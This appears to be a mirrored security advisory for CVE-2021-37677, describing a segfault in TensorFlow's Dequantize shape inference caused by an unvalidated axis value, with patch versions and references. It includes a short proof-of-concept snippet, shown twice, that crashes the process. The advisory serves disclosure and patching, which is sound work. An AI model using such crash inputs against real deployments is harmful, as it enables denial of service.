Advisoriesby IbisMissing validation in shape inference for `Dequantize`
Impact
The shape inference code for tf.raw_ops.Dequantize has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments:
```python
import tensorflow as tf
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Dequantize(
input_tensor = tf.constant(-10.0, dtype=tf.float32),
input_tensor = tf.cast(input_tensor, dtype=tf.quint8),
min_range = tf.constant([], shape=[0], dtype=tf.float32),
max_range = tf.constant([], shape=[0], dtype=tf.float32),
mode = 'MIN_COMBINED',
narrow_range=False,
axis=-10,
dtype=tf.dtypes.float32)
`
The shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/array_ops.cc#L2999-L3014) uses axis to select between two different values for minmax_rank which is then used to retrieve tensor dimensions. However, code assumes that axis can be either -1 or a value greater than -1, with no validation for the other values.
Patches
We have patched the issue in GitHub commit [da857cfa0fde8f79ad0afdbc94e88b5d4bbec764](https://github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.3.4 | 2.3.4 |
| >= 2.4.0, < 2.4.3 | 2.4.3 | |
| >= 2.5.0, < 2.5.1 | 2.5.1 |
Details and references
### Impact The shape inference code for `tf.raw_ops.Dequantize` has a vulnerability that could trigger a denial of service via a segfault if an attacker provides invalid arguments: ```python import tensorflow as tf tf.compat.v1.disable_v2_behavior() tf.raw_ops.Dequantize( input_tensor = tf.constant(-10.0, dtype=tf.float32), input_tensor = tf.cast(input_tensor, dtype=tf.quint8), min_range = tf.constant([], shape=[0], dtype=tf.float32), max_range = tf.constant([], shape=[0], dtype=tf.float32), mode = 'MIN_COMBINED', narrow_range=False, axis=-10, dtype=tf.dtypes.float32) ``` The shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/array_ops.cc#L2999-L3014) uses `axis` to select between two different values for `minmax_rank` which is then used to retrieve tensor dimensions. However, code assumes that `axis` can be either `-1` or a value greater than `-1`, with no validation for the other values. ### Patches We have patched the issue in GitHub commit [da857cfa0fde8f79ad0afdbc94e88b5d4bbec764](https://github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.
- CVSS 3.1
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-1284, CWE-20
- Also known as
- BIT-tensorflow-2021-37677, CVE-2021-37677, PYSEC-2021-299, PYSEC-2021-590, PYSEC-2021-788
- github.com/tensorflow/tensorflow/security/advisories/GHSA-qfpc-5pjr-mh26
- nvd.nist.gov/vuln/detail/CVE-2021-37677
- github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-590.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-788.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-299.yaml
- github.com/tensorflow/tensorflow
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